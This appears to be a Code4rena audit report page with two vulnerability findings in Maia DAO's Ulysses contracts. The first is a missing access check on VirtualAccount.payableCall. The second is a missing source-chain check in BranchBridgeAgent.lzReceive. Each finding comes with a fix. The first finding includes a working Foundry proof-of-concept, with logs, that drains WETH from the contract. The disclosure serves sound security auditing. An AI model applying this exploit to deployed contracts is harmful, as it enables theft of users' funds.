Maia DAO - Ulysses - Yanchuan's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L84-L112

Vulnerability details

Impact

The VirtualAccount contract provides a function called payableCall(), allowing users to execute batch operations. However, this function lacks proper permission controls, enabling anyone to invoke it. This poses a significant risk. for instance, a malicious user could call the approve() function of an ERC20 token, authorizing themselves to transfer tokens from the VirtualAccount contract. As per Ulysses' design, global tokens are stored in the VirtualAccount contract. Consequently, a malicious user could steal the global tokens from the contract.

    function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
        uint256 valAccumulator;
        uint256 length = calls.length;
        returnData = new bytes[](length);
        PayableCall calldata _call;
        for (uint256 i = 0; i < length;) {
            _call = calls[i];
            uint256 val = _call.value;
            // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
            // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
            unchecked {
                valAccumulator += val;
            }

            bool success;

>>>         if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);

            if (!success) revert CallFailed();

            unchecked {
                ++i;
            }
        }

        // Finally, make sure the msg.value = SUM(call[0...i].value)
        if (msg.value != valAccumulator) revert CallFailed();
    }

Proof of Concept

In the following test code, two contracts are deployed: WETH and VirtualAccount. The owner of VirtualAccount is set to address(0x01). Subsequently, some WETH tokens are deposited into VirtualAccount. The hacker Address(0x03) constructs a malicious operation: calls[0].callData = abi.encodeWithSelector(weth.approve.selector, hacker, type(uint256).max); and then calls virtualAccount.payableCall(calls); to execute this operation. Consequently, the hacker gains permission to transfer WETH tokens from the VirtualAccount contract, thereby stealing all the tokens.

//SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.16;

import {Test, console} from "forge-std/Test.sol";
import "../src/VirtualAccount.sol";
import {WETH9 as WETH} from "./ulysses-omnichain/mocks/WETH9.sol";

contract VirtualAccountTest is Test {

    address public userAddr = vm.addr(0x1);
    address public localPortAddr = vm.addr(0x2);
    address public hacker = vm.addr(0x3);
    VirtualAccount public virtualAccount;
    WETH public weth;

    function testPayableCall() public {
        // depoly WETH and VirtualAccount
        weth = new WETH();
        virtualAccount = new VirtualAccount(userAddr, localPortAddr);

        // send some weth tokens to virtualAccount
        vm.deal(address(this), 10 ether);
        weth.deposit{value: 1 ether}();
        weth.transfer(address(virtualAccount), 1 ether);

        vm.startPrank(hacker);

        console.log("weth balance of hacker: %s", weth.balanceOf(hacker));
        console.log("weth balance of virtualAccount: %s", weth.balanceOf(address(virtualAccount)));
        console.log("hacking .....................");

        // payableCall   approve hacker to transfer tokens from virtualAccount
        PayableCall[] memory calls = new PayableCall[](1);
        calls[0].target = address(weth);
        calls[0].callData = abi.encodeWithSelector(weth.approve.selector, hacker, type(uint256).max);
        calls[0].value = 0;

        virtualAccount.payableCall(calls);

        // transfer tokens
        weth.transferFrom(address(virtualAccount), hacker, 1 ether);

        console.log("hacked !!!!!!!!!!!!!!!!!!!!!!");
        console.log("weth balance of hacker: %s", weth.balanceOf(hacker));
        console.log("weth balance of virtualAccount: %s", weth.balanceOf(address(virtualAccount)));

        vm.stopPrank();
    }
}

The test results indicate that before the test execution, the amount of WETH tokens in VirtualAccount was 1,000,000,000,000,000,000. After the test, the WETH token amount is 0. all WETH tokens have been stolen by the hacker.

[nian@localhost 2023-09-maia]$ forge test   --match-test testPayableCall  -vv
[⠆] Compiling...
[⠒] Compiling 1 files with 0.8.19
[⠘] Solc 0.8.19 finished in 1.19s
Compiler run successful!

Running 1 test for test/VirtualAccountTest.t.sol:VirtualAccountTest
[PASS] testPayableCall() (gas: 1432951)
Logs:
  weth balance of hacker: 0
  weth balance of virtualAccount: 1000000000000000000
  hacking .....................
  hacked !!!!!!!!!!!!!!!!!!!!!!
  weth balance of hacker: 1000000000000000000
  weth balance of virtualAccount: 0

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.07ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

Recommended Mitigation Steps

Add requiresApprovedCaller to payableCall(), allowing only the owner or an approved router to invoke this function.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L578-L584

Vulnerability details

Impact

According to the LayerZero docs, UAs should check that messages from trusted chain and known address. https://layerzero.gitbook.io/docs/evm-guides/master/receive-messages

However, BranchBridgeAgent only checks the address and does not verify the source chain. The source chain here should be the root chain (Arbitrum). If there exists a contract on another network with the same address as the RootBridgeAgent on the Arbitrum network, BranchBridgeAgent may consider messages from this contract as legitimate and process them. https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L578-L584

    function lzReceive(uint16, bytes calldata _srcAddress, uint64, bytes calldata _payload) public override {
        address(this).excessivelySafeCall(
            gasleft(),
            150,
            abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcAddress, _payload)
        );
    }

Deploying a contract on another network with the same address as the RootBridgeAgent on the Arbitrum network is a highly challenging task. However, if a hard fork occurs on Arbitrum, and LayerZero decides to support both networks, then there would be a situation where two contracts have identical addresses.

Adding a source chain check can prevent such situations from occurring.

Proof of Concept

In the following test code, we manually modified the ID of the Arbitrum network to simulate a hard fork on the Arbitrum network. Note that this is not a complete testing scripts.

    function testSrcChainId() public {
        switchToLzChain(rootChainId);
        vm.chainId(31337);
        vm.deal(address(this), 200 ether);
        coreRootRouter.removeBranchBridgeAgent(address(avaxMulticallBridgeAgent), address(this), avaxChainId,  GasParams(800_000, 0.03 ether));
        switchToLzChain(avaxChainId);
    }

Tools Used

Foundry

Recommended Mitigation Steps

    function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public override {
>>>        require(_srcChainId == rootChainId, "source chain error.");
        address(this).excessivelySafeCall(
            gasleft(),
            150,
            abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcAddress, _payload)
        );
    }

Assessed type

Invalid Validation